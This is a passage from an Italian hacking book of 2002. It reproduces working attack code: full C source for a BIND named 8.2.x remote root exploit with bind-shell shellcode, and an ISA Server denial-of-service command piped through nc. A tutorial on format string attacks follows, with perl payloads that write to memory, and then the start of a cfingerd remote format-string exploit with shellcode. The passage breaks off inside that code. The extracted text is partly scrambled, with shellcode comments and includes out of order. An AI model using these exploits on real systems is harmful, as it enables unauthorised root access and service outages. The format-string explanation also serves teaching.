sistema remoto utilizzante questo sistema quello che segue:
/* * lame named 8.2.x remote exploit by * * Ix [adresadeforward@yahoo.com] (the master of jmpz), * lucysoft [lucysoft@hotmail.com] (the master of queries) * * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html) * linux only shellcode * this is only for demo purposes, we are not responsable in any way for what you do with this code. * * flamez - canaris * greetz - blizzard, netman. * creditz - anathema <anathema@hack.co.za> for the original shellcode * - additional code ripped from statdx exploit by ron1n */ #include #include #include #include #include #include #include #include #include #include #include #include #include <unistd.h> <stdio.h> <stdlib.h> <signal.h> <time.h> <string.h> <ctype.h> <netdb.h> <sys/time.h> <sys/types.h> <sys/socket.h> <arpa/inet.h> <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b)) #define BUFFSIZE 4096 int argevdisp1, argevdisp2;

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


char shellcode[] = /* main: */ "\xeb\x7b" /* start: */ "\x5e" /* socket() */ "\x29\xc0" "\x89\x46\x10" "\x40" "\x89\xc3" "\x89\x46\x0c" "\x40" "\x89\x46\x08" "\x8d\x4e\x08" "\xb0\x66" "\xcd\x80" /* bind() */ "\x43" "\xc6\x46\x10\x10" "\x66\x89\x5e\x14" "\x88\x46\x08" "\x29\xc0" "\x89\xc2" "\x89\x46\x18" "\xb0\x90" "\x66\x89\x46\x16" "\x8d\x4e\x14" "\x89\x4e\x0c" "\x8d\x4e\x08" // 2 jump + 1 + 5 free + 1 "\xb0\x66" "\xcd\x80" /* listen() */ "\x89\x5e\x0c" "\x43" "\x43" "\xb0\x66" "\xcd\x80" /* accept() */ "\x89\x56\x0c" "\x89\x56\x10" "\xb0\x66" "\x43" "\xcd\x80" /* movb $0x66, %al /* int $0x80 /* /* /* /* /* /* /* /* /* /* movl %ebx, 0x0c(%esi) incl %ebx incl %ebx movb $0x66, %al int $0x80 movl %edx, 0x0c(%esi) movl %edx, 0x10(%esi) movb $0x66, %al incl %ebx int $0x80 xchgb %al, %bl movb $0x3f, %al subl %ecx, %ecx int $0x80 movb $0x3f, %al incl %ecx int $0x80 movb $0x3f, %al incl %ecx int $0x80 movb %dl, 0x07(%esi) movl %esi, 0x0c(%esi) xchgl %esi, %ebx leal 0x0c(%ebx), %ecx movb $0x0b, %al int $0x80 */ // 2 - 61 */ // 2 - 2 */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ // // // // // // // // // // // // // // // // // // // // // 3 3 2 1 1 2 2 2 2 2 1 2 2 1 2 3 3 2 3 2 2 = 5 8 10 11 12 14 16 18 20 22 23 25 27 28 30 33 36 38 41 44 46

/* jmp callz /* popl %esi /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* subl %eax, %eax movl %eax, 0x10(%esi) incl %eax movl %eax, %ebx movl %eax, 0x0c(%esi) incl %eax movl %eax, 0x08(%esi) leal 0x08(%esi), %ecx movb $0x66, %al int $0x80 incl movb movw movb subl movl movl movb movw leal movl leal %ebx $0x10, 0x10(%esi) %bx, 0x14(%esi) %al, 0x08(%esi) %eax, %eax %eax, %edx %eax, 0x18(%esi) $0x90, %al %ax, 0x16(%esi) 0x14(%esi), %ecx %ecx, 0x0c(%esi) 0x08(%esi), %ecx

*/ // 2 - 2 */ // 1 - 3 */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ // // // // // // // // // // // // // // // // // // // // // // 2 3 1 2 3 1 3 3 2 2 1 4 4 3 2 2 3 2 4 3 3 3 5 8 9 11 14 15 18 21 23 25 26 30 34 37 39 41 44 46 50 53 56 59

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x86\xc3" /* "\xb0\x3f" /* "\x29\xc9" /* "\xcd\x80" /* "\xb0\x3f" /* "\x41" /* "\xcd\x80" /* "\xb0\x3f" /* "\x41" /* "\xcd\x80" /* /* execve() */ "\x88\x56\x07" "\x89\x76\x0c" "\x87\xf3" "\x8d\x4b\x0c" "\xb0\x0b" "\xcd\x80" /* /* /* /* /* /*

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


"\x90\x90\x90\x90\x90\x90\x90" // 2 jump + 1 + 5 free + 1 /* callz: */ "\xe8\x70\xff\xff\xff" "/bin/sh\0"; /* call start */ // 5 - 51 // 8 - 59 0xbffffa88, 28, 0x080d7cd0,

// {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot", 0x40111704, 0x330, 6}, unsigned long resolve_host(char* host) { long res; struct hostent* he; if (0 > (res = inet_addr(host))) { if (!(he = gethostbyname(host))) return(0); res = *(unsigned long*)he->h_addr; } return(res); } void runshell(int sockd) { char buff[1024]; int fmax, ret; fd_set fds; fmax = max(fileno(stdin), sockd) + 1; send(sockd, "uname -a; id;\n", 15, 0); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sockd, &fds); if(select(fmax, &fds, NULL, NULL, NULL) < 0) { exit(EXIT_FAILURE); }

if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); if(send(sockd, buff, ret, 0) != ret) { fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE);

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


}

} } }

connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(36864); printf("connecting..\n"); usleep(2000); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { exit(EXIT_FAILURE); } if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1) { printf("wait for your shell..\n"); usleep(500); runshell(sockd); } else { printf("error: named not vulnerable or wrong offsets used\n"); } close(sockd); }

int infoleak_qry(char* buff) { HEADER* hdr; int n, k; char* ptr; int qry_space = 12; int dummy_names = 7; int evil_size = htons(0xff); memset(buff, 0, BUFFSIZE); hdr = (HEADER*)buff; hdr->id = htons(0xbeef); hdr->opcode = IQUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(0); hdr->nscount = htons(0); hdr->ancount = htons(1); hdr->arcount = htons(0); ptr = buff + sizeof(HEADER); n = 62; for (k = 0; k < dummy_names; k++) { *ptr++ = n; ptr += n; } ptr += INT16SZ;

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

PUTSHORT(htons(1/*ns_t_a*/), ptr); PUTSHORT(htons(T_A), ptr); PUTLONG(htons(1), ptr); PUTSHORT(evil_size, ptr); return(ptr - buff + qry_space); }

/* ttl */

/* type */ /* class */

/* our *evil* size */

int evil_query(char* buff, int offset) { int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0; HEADER* hdr; char *ptr; int k, bufflen; u_int n, m; u_short s; int i; int shelloff, shellstarted; int towrite, ourpack; int n_dummy_rrs = 7; shelladdr = offset - 0x200; lameaddr = shelladdr + 0x330;

ourpack = offset - 0x250 + 2; towrite = (offset & ~0xff) - ourpack - 6; printf("# %x newebp\n", offset & ~0xff); printf("# %x towrite\n", towrite); rroffsetidx = towrite / 70; offset0 = towrite - rroffsetidx * 70; printf("+ %x rr recidx\n", rroffsetidx); printf("+ %x offset\n", offset0); if ((offset0 > 53) || (rroffsetidx > 6)) { printf("could not write our data in buffer\n"); return(-1); } rrshellidx = 1; deplshellcode = 2; hdr = (HEADER*)buff; memset(buff, 0, BUFFSIZE); /* complete the header */ hdr->id = htons(0xdead); hdr->opcode = QUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(n_dummy_rrs); hdr->ancount = htons(0); hdr->arcount = htons(1); ptr = buff + sizeof(HEADER); shellstarted = 0; shelloff = 0;

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


n = 63; for (k = 0; k < n_dummy_rrs; k++) { printf("* rr: %d\n", k); *ptr++ = (char)n; for(i = 0; i < n-2; i++) { if((k == rrshellidx) && (i == deplshellcode) && !shellstarted) { printf("* injecting shellcode\n", k); shellstarted = 1; } if ((k == rroffsetidx) && (i == offset0 + 0)) { printf("# %x stackfrm\n", lameaddr); //caller's frame *ptr++ = lameaddr & 0x000000ff; i++; *ptr++ = (lameaddr & 0x0000ff00) >> 8; i++; *ptr++ = (lameaddr & 0x00ff0000) >> 16; i++; *ptr++ = (lameaddr & 0xff000000) >> 24; } else if ((k == rroffsetidx) && (i == offset0 + 8)) { printf("# args %x, %x\n", argevdisp1, argevdisp2); //evDispatch args *ptr++ = argevdisp1 & 0x000000ff; i++; *ptr++ = (argevdisp1 & 0x0000ff00) >> 8; i++; *ptr++ = (argevdisp1 & 0x00ff0000) >> 16; i++; *ptr++ = (argevdisp1 & 0xff000000) >> 24; i++; *ptr++ = argevdisp2 & 0x000000ff; i++; *ptr++ = (argevdisp2 & 0x0000ff00) >> 8; i++; *ptr++ = (argevdisp2 & 0x00ff0000) >> 16; i++; *ptr++ = (argevdisp2 & 0xff000000) >> 24; } else if ((k == rroffsetidx) && (i == offset0 + 4)) { printf("# %x shellcode\n", shelladdr); //shellcode *ptr++ = shelladdr & 0x000000ff; i++; *ptr++ = (shelladdr & 0x0000ff00) >> 8; i++; *ptr++ = (shelladdr & 0x00ff0000) >> 16; i++; *ptr++ = (shelladdr & 0xff000000) >> 24; } else { if (shellstarted) { *ptr++ = shellcode[shelloff++]; } else { *ptr++ = i; } }

//

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


*ptr++ = 0xeb; if (k == 0) { *ptr++ = 0x09; //jmp 3 m = 2; *ptr++ = (char)m; for(i = 0; i < m; i++) { *ptr++ = i; }

} else { }

*ptr++ = 0x07; //jmp 1

*ptr++ = 0xc0; /*NS_CMPRSFLGS*/ ptr += 5; } s = htons(0xfa) /* ns_t_tsig */; PUTLONG(s, ptr); for (k = 0; k < 1; k++) { *ptr++ = 0x90; } bufflen = ptr - buff; return(bufflen); } long xtract_offset(char* buff) { long ret, idx, now; idx = 0x214; now = 0; ret = *((long*)&buff[idx]); if ((ret > 0xbfff0000) && (ret < 0xc0000000)) { now = 1; } while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000)))) { idx += 4; ret = *((long*)&buff[idx]); if (ret == 1) { now = 1; } } argevdisp1 = 0x080d7cd0; argevdisp2 = *((long*)&buff[0x264]); return(ret); }

int main(int argc, char* argv[]) {

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


struct sockaddr_in sa; int sock; long address; char buff[BUFFSIZE]; int len, i; long offset; socklen_t reclen; printf("named 8.2.x (< 8.2.3-REL) remote root exploit by LucySoft, Ix\n\n"); address = 0; if (argc < 2) { printf("usage : %s host\n", argv[0]); return(-1); } if (!(address = resolve_host(argv[1]))) { printf("unable to resolve %s, try using an IP address\n", argv[1]); return(-1); } sa.sin_family = AF_INET; if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0))) { return(-1); } sa.sin_family = AF_INET; sa.sin_port = htons(53); sa.sin_addr.s_addr= address; len = infoleak_qry(buff); len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa)); if (len < 0) { printf("unable to send iquery\n"); return(-1); } reclen = sizeof(sa); len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen); if (len < 0) { printf("unable to receive iquery answer\n"); return(-1); } printf("iquery resp len = %d\n", len); offset = xtract_offset(buff); printf("retrieved stack offset = %x\n", offset); len = evil_query(buff, offset); sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa)); if (0 > close(sock)) { return(-1); } connection(sa); } return(0);

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

Come bloccare ISA Server


Come tutti sanno ISA server lultimo prodotto derivato da Microsoft Proxy Server indirizzato a gestire la security in ambiente Microsoft. In altre parole il software svolge funzioni di proxy e di firewall. Ad ogni modo come tanti prodotti software anche questo passibile di attacchi Dos. Per poterlo explottare necessario che questo sia configurato per usare la funzionalit da "Web Publishing" (inbound HTTP proxy to a web server). Lattacco pu essere eseguito da postazione remota. Per perpetuare lattacco necessario inviare un path lungo al proxy. GET http://hostname/aaa[3000 o pi caratteri 'a'] HTTP/1.0\n\n Inviando questa stringa sulla porta 80 di ISA Server si fa si che il componente W3PROXY.EXE termini con un access violation. Potete usare queasto comando : printf 'GET http://${HOST}/%s HTTP/1.0\n\n' `./repeat ${x} ${y}` | \ nc ${HOST} 80 dove:
- printf lutility di shell - ${HOST} una variabile dambiente settata con lhost che possiede ISA Server - ./repeat un asemplice programma in C il cui listato quello che segue - ${x} un valore ASCII - ${y} il numero delle ripetizionidi ${x}

/* * repeat.c -- quick-n-dirty hack to output argv[2] instances of the * character whose ASCII value is given as argv[1] * * WARNING - this has absolutely no error checking! */ #include <stdio.h> main (int argc, char **argv) { int character; long repetitions, i; if ( argc != 3 ) { printf("usage: repeat char reps\n"); exit(1); } character = atoi(argv[1]); repetitions = atol(argv[2]); for (i = 0L; i < repetitions; i++) { printf ("%c", character); } } Il comportamento di W3PROXY.EXE dipende dal valore di ${x} e dal valoredi ${y}. Con ${x} a 55, il seguente comportamento osservato basandosi sul valore di ${y}:

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

100: processes correctly, returns "404 Object Not Found" from target web server. 200: returns 404 250: returns 404 254: returns 404 255: returns "414 URL Too Long" 260: returns 414 300: returns 414 2000: returns 414 2100: returns 414 2200: returns 414 2300: returns 414 2300, repeated several times: W3PROXY.EXE grows to 128MB of process size and is then terminated with an access violation. 2350: W3PROXY.EXE is terminated on the first attempt.

Format string attack


Un altro tipo di attacco che sembra molto a quello dei buffers overflow quello definito con il termine di format string attack. Il tutto si basa sulla metodologia che alcune funzioni del linguaggio C usano per formattare gli argomenti durante una stampa di questi. Genericamente una funzione come la printf() usa i seguenti argomenti : printf(stringa_di _formattazione, argomento1, ., argomenton); La prima parte, quella definita con il termine di stringa_di_formattazione, una sequenza di caratteri alcuni dei quali vengono stampati staticamente mentre altri prendono gli argomenti specificati successivamente e li inseriscono applicandogli un cero formato nella posizione dove questi si trovano. Ad esempio i caratteri : %s indicherebbero che largomento dovrebbe essere stampato come stringa. Lesempio : char s[] = Ciao; printf(%s, s); Alcune volte I programmatori quando si trovano davanti al fatto di dover stampare un solo argomento costituito da un buffer di caratteri, invece di specificare la stringa di formattazione, come nellesempio di prima, inseriscono solo lil buffer. printf(s); Ma prima di vedere i problemi che possono nascere dalluso di printf dobbiamo rinfrescarci le idee sulluso di questa. Con questa possibile avere il numero di caratteri stampati a qualsiasi punto della sringa di formattazione. Quando il fomattatore %n incontrato allinterno della stringa di formattazione il numero di caratteri presenti prima di questo viene inserito allindirizzo passato come prossimo argomento. Ad esempio per ricavare loffset dello spazio tra due numeri formattati : #include <stdio.h>

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

void main(vid) { int pos, x=12, y=34; printf("%d %n%d\n", x, &pos, y); printf("L'offset a : %d", pos); } F:\TempWork>cl test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:test.exe test.obj F:\TempWork>test 12 34 L'offset a : 3 F:\TempWork> Il calcolo avvien su quello che dovrebbe essere anche se per altri motivi avrebbe dovutto essere differente. Considerate il buffer di 20 caratteri e la richiesta di stampare il numero come un numero di 100 cifre. Il valore restituito dalla funzione 100 e non 20. #include <stdio.h> char buff[20]; void main(vid) { int pos, x=12, y=34; sprintf(buff, "%.100d%n", x, &pos); printf("L'offset e' a : %d", pos); } F:\TempWork>cl test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:test.exe test.obj F:\TempWork>test L'offset e' a : 100 F:\TempWork>

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

Ora per spiegare il principio diamo un occhiata al programma che segue.

/* * fmtme.c * Format a value into a fixed-size buffer */ #include <stdio.h> int main(int argc, char **argv) { char buf[100]; int x; if(argc != 2) exit(1); x = 1; sprintf(buf, argv[1]); buf[sizeof buf - 1] = 0; printf("buffer (%d): %s\n", strlen(buf), buf); printf("x is %d/%#x (@ %p)\n", x, x, &x); return 0; }
Spieghiamo solo I passi fondamentali del programma. Un valore passato sulla linea di comando da prompt viene formattato in un buffer a lunghezza fissa. Successivamente il buffer formattato e viene messo in output. In aggiunta per formattare largomento un secondo intero settato e successivamente fatto uscire. Questa variabile viene usata come the target del successivo attacco. Per ora dobbiamo solo vedere che questo deve essere sempre 1. A questo punto iniziamo a ragionare come attaccante. Abbiamo nelle mani un programma di test e sappiamo che questo possiede una vulnerabilit sapendo inoltre dove il programmatore ha commesso lerrore. A questo punto inizxamo a fare delle prova. Partiamo invocando il programma xcon argomenti normali.
% ./fmtme "hello world" buffer (11): hello world x is 1/0x1 (@ 0x804745c)

Non c nulla di speciale fino a questo punto. Il programma formatta la nostra stringa allinterno del buffer e quindi stampa la sua lunghezza. Questo ci dice anche che la variabile x ha coma valore uno e che questo viene salvato allindirizzo 0x804745c. Ora proviamo a richiamare il programma con delle direttive di formattazione. In altre parole invece di passargli la stringa del tipo Hello World la stringa che gli passiamo esattamente come una di quelle che dovrebbe essere presente come stringa di formattazione.

% ./fmtme "%x %x %x %x" buffer (15): 1 f31 1031 3133 x is 1/0x1 (@ 0x804745c)
Una rapida analisi del programma ci rivela che il layout dello stack quando la funzione snprintf chiamata fha la seguente forma :

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


Address fp+8 fp+12 fp+16 fp+20 fp+24 Contents Buffer pointer Buffer length Format string Variable x Variable buf Description 4-byte address 4-byte integer 4-byte address 4-byte integer 100 characters

Ora proviamo a a controllare I valori salvati dentro al buffer. Questi valori sono anche usati come argomenti per la snprintf.

% ./fmtme "aaaa %x %x" buffer (15): aaaa 1 61616161 x is 1/0x1 (@ 0x804745c)


I 4 caratteri 'a' che forniamo in input sono copiati allinizio del buffer e quindi interpretate dentro alla snprintf cme un valore intero con valore 0x61616161 ('a' 0x61 in ASCII). Ora che tutti gli esempi sono stati fatti possiamo iniziare a vedere lattacco trasformandolo in un sistema attivo in grado di alterare lo stato del programma. Vi ricordate dela variabile "x"? Proviamo a cambiare il suo valore. Per fare questo abbiamo inserito il suo indirizzo dentro ad uno degli argomenti snprintf. Dobbiamo quindi saltare oltre il primo argomento di snprintf, il quale la variabile x, e quindi infine usiamo un formattatore "%n" per scrivere nellindirizzo specificato. Questo potrebbe sembrare pi complicato di quanto in effetti lo sia. Come esempio. usiamo un piccolo programmino in PERL che ci permette di specificare dei caratteri arbitrariamente sulla linea di comando.

% perl -e system "./fmtme", "\x58\x74\x04\x08%d%n" buffer (5): X1 x is 5/x05 (@ 0x8047458)


Il valore di x cambiato. Largomento di snprintf potrebbe sembrare a qualche cosa di simile a :ook

snprintf(buf, sizeof buf, "\x58\x74\x04\x08%d%n", x, 4 bytes from buf)


Allinizio snprintf copia I primi 4 bytes dentro a buf. Successivamente esso esegue lo scan del formattatore "%d" e stampa il valore di x. Finalmente raggiunge la direttiva "%n". Questa inserisce il successivo valore dentro allo stack, il quale deriva dai primi 4 bytes di buf. Questi 4 bytes sono appena stati riempiti con "\x58\x74\x04\x08", o, interpretati come un intero, 0x08047458. Snprintf quindi scrive il totale dei bytes di output, cinque, dentro a questo indirizzo. Questo di fatto lindirizzo della variabile x. Questa non una coincidenza. Abbiamo scelto il valore 0x08047458 dalla precedente analisi del programma. In questo caso il programma ci ha aiuttato nello stampare lindirizzo a cui noi siamo interessati. Tipicamente questo valore dovrebbe essere trovato con laiuto di un debugger. Possiamo inserire un indirizzo arbitrario e scriverci dentro. Ma di fatto possiamo scriverci un valore ?
nprintf ci scrive solo il numero dei caratteri di output.

% perl -e 'system "./fmtme", "\x54\x74\x04\x08%.500d%n"

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


buffer (99): %0000000 ... 0000 x is 504/x1f8 (@ 0x8047454)
Il valore che "%n" scrive in x 504, pi grande dei 99 caratteri attualmente emessi in buf. Possiamo anche fornire un valore arbitrario maggiore semplicemente specificando una dimansione di campo grande. Se scrivessimo quattro numeri ad un offset di un byte, potremmo costruire una intero fuori dai quattro bytes significativi. Per illustrare questo concetto :

Address A A+1 A+2 A+3 A+4 A+5 A+6 Write to A: 0x11 0x11 0x11 0x11 Write to A+1: 0x22 0x22 0x22 0x22 Write to A+2: 0x33 0x33 0x33 0x33 Write to A+3: 0x44 0x44 0x44 0x44 Memory: 0x11 0x22 0x33 0x44 0x44 0x44 0x44
Dopo le quattro scritture sono state completate , il valore intero 0x44332211 in memoria allindirizzo A, composto da un byte meno significativo di quattro scritture. Questa tecnica ci offre la flessibilit di scegliere il valore da scrivere Questo pretende quattro quattro tempi per settare il valore. In pratica esegue loverwrite di tre bytes confinanti con lindirizzo target Esso esegue anche tre scritture non allineate. Dato che le scritture non allineate non sono supportate da tutte le architetture il metodo di fatto non portatile. Insomma tutto questo per dire che possibile scrivere valori arbitrari in memoria e quindi di conseguenza mediante questa metodologia possibile eseguire : Soprascritture dell UID di un programma al fine di elevare I privilegi. Soprascrivere un comando in esecuzione Soprascrivere un indirizzo di ritorno per puntare a qualche punto di memoria dove ci sia un codice da eseguire..

Successivamente vedremo alcune tecniche specifiche legate a questo tipo di attacco. Ora vediamo il codice usato in ambiente Linux utilizzante questa tecnica.
/* * * * * * * * * * * * * * * * * * * * * * * remote exploit for linux/x86 - cfingerd <= 1.4.3 coded by venomous of rdC - 16/apr/01 Its just a common formatstring bug using syslog() incorrectly. We need to bind as identd, so disable your identd in case you are using it. BONUS: eip address is bruteforced, so relax and wait =) NOTE: for sure where we control the format string will change from platform to platform. And for sure, the shellcode address will change so maybe you want to bruteforce this too. (-1500 to +1500 should be fine i guess) REMEMBER: this code is for educational propourses only, do not use it on machines without authorization. INFO: cfingerd isnt a package of slackware 7.0 cfingerd 1.4.1 is a package of debian 2.2 Greets: ka0z, bruj0, dn0, superluck, fugitivo(!) #flatline, #rdC

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


* Credits: To Lez, who found this bug. * * http://www.rdcrew.com.ar - Argentinian Security Group. * venomous@rdcrew.com.ar */ #include #include #include #include #include #include #include #include #include <stdio.h> <netinet/in.h> <sys/types.h> <sys/socket.h> <netdb.h> <signal.h> <sys/types.h> <sys/wait.h> <unistd.h>

#define ROOTSHELLPORT 36864 void chld_timeo(); void chld_timeoo(); int int int int sserver; cserver; phase=0; mmm=0;

unsigned long glob; //unsigned long startaddr = 0xbffffdfc; unsigned long startaddr = 0xbffffb34; unsigned long stopaddr = 0xbffff000; char pbuf[1024]; char testcode[]= "\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe"; char linuxcode[]= /* Lamagra bind shellcode modified by me, making it smaller =) - 124b */ "\xeb\x6e\x5e\x29\xc0\x89\x46\x10" "\x40\x89\xc3\x89\x46\x0c\x40\x89" "\x46\x08\x8d\x4e\x08\xb0\x66\xcd" "\x80\x43\xc6\x46\x10\x10\x88\x46" "\x08\x31\xc0\x31\xd2\x89\x46\x18" "\xb0\x90\x66\x89\x46\x16\x8d\x4e" "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0" "\x66\xcd\x80\x89\x5e\x0c\x43\x43" "\xb0\x66\xcd\x80\x89\x56\x0c\x89" "\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0" "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd" "\x80\x88\x56\x07\x89\x76\x0c\x87" "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80" "\xe8\x8d\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68"; struct os { int id; char *os; char *shellcode; int fsc; unsigned long shaddr;

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


int offset; }; struct os types[]= { {0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root", linuxcode, 22, 0xbffffbc4, 30}, {1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody", linuxcode, 22, 0xbffffbc4, 30}, {2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33, 0xbffffb48, 0}, {3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33, 0xbffffb48, 0}, {4, NULL, 0, 0xdeadbeef, 0} }; main(int argc, char *argv[]) { struct sockaddr_in sin; struct sockaddr_in ssin; int fd; int x; int xx=0; int sts=0; int pete; int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on int guide=1; /* your system, starting from 22, change it if you int sel=0; /* want. int bleh=0; /* int off=0; int arx=0; int niu=0; int ye=0; char buf[1024]; char tex[512];

*/ */ */ */

if (argc < 4) { printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n"); printf("Usage: %s <platform> <host> <offset>\n",argv[0]); printf("where <platform> is:\n"); for (x=0 ; types[x].os != NULL ; x++) printf("%d for %s\n", types[x].id, types[x].os); printf("\nhttp://www.rdcrew.com.ar\n\n"); exit(1); } for (x=0 ; types[x].os != NULL ; x++) { if (types[x].id == atoi(argv[1]) ) { xx++; sel = types[x].id; } } if (!xx) { printf("Unknown platform: %s\n",argv[1]); exit(1); } off = atoi(argv[3]); printf("Selected platform: %s (%d)\n",types[sel].os,sel);

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


bzero(&sin,sizeof(sin)); // fake identd sin.sin_family = AF_INET; sin.sin_port = htons(113); sin.sin_addr.s_addr = htonl(INADDR_ANY); if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0)) { perror("bind"); exit(1); } if ( (xx = listen(fd, 5)) < 0) { perror("listen"); exit(1); } printf("fake identd bound successfuly\n\n"); printf("pre-phase info: If you need to use the offset you can use safely steps of 120\n\n"); printf("phase 0: finding eip... \n"); while (guide) { //maybe you need it.. // if (!d) // { preparebuf(sel, off, ye); fconnect(argv[2], ye, 79); // } pete = sizeof(ssin); if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0) { perror("accept"); exit(1); } bzero(buf,sizeof(buf)); read(sserver,buf,sizeof(buf)); //horrendus debug! :) #ifdef DEBUG printf("\nread(): %s\n",buf); #endif sscanf(buf,"%d,%d",&a,&b); bzero(buf,sizeof(buf)); bzero(tex,sizeof(tex)); memset(tex,'\x90',119); bleh=strlen(pbuf); niu = 0; while (1) { if(strlen(pbuf) < 65) { if (phase==0)

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


pbuf[bleh] = '\x90'; else pbuf[bleh] = types[sel].shellcode[niu]; bleh++; if (phase==1) niu++; } else break; } arx = niu; if(!phase) for(bleh=0 ; bleh < strlen(testcode) ; bleh++) tex[119 - strlen(testcode) + bleh] = testcode[bleh]; else { if ((119 - (strlen(types[sel].shellcode) - arx)) < 0) { printf("shellcode too long, exiting\n"); exit(0); } for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ; bleh++) tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] = types[sel].shellcode[bleh+arx]; } snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf); /* usefull for find the fsc on your system. //snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc: %d\n",a,b,c,c); // read about 'd' below if (d==2) { c++; d=0; } */ write(sserver,buf,sizeof(buf)); //the same.. #ifdef DEBUG printf("sent: %s\n--------------------\n",buf); #endif close(sserver); sleep(2); //same.. // if(d) wait(&sts); // d++; /* if something like tcplogd is running there will be 3 connections * to identd, so in that case, d==3 */ //if(d==2) // d=0; if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0) { phase=1; ye=1; sts=0; printf("\nphase 1: calculating address of the first chacarcter in our buffer... wait\n"); }

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

